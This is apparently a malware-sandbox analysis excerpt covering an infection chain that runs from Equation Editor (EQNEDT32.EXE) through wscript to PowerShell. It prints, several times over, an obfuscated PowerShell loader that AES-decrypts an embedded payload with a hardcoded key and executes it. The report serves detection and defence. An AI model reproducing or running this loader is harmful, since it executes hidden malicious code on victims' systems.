Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.369992455.00000000033E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.371974308.0000000006260000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00916298 push esp; ret	2_2_0091629B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00916282 push esp; ret	2_2_0091628B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00915086 push ebx; ret	2_2_00915087
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009178B2 push esi; ret	2_2_009178B3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009178AA push esi; ret	2_2_009178AB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009192C0 push ebx; ret	2_2_009192C3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00917C12 push esi; ret	2_2_00917C13
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091621F push esp; ret	2_2_0091623B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00914E09 push esp; ret	2_2_00914E0B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00917C0A push esi; ret	2_2_00917C0B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091620F push esp; ret	2_2_0091621B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091623F push esp; ret	2_2_0091624B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00916252 push esp; ret	2_2_0091625B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091647E push ebx; ret	2_2_0091647F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00916268 push esp; ret	2_2_0091627B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00918D93 push dword ptr [ebp+esi*4+55h]; ret	2_2_00918D97
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091879A push ebx; ret	2_2_0091879B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00918D80 push dword ptr [esi+esi*4+55h]; ret	2_2_00918D87
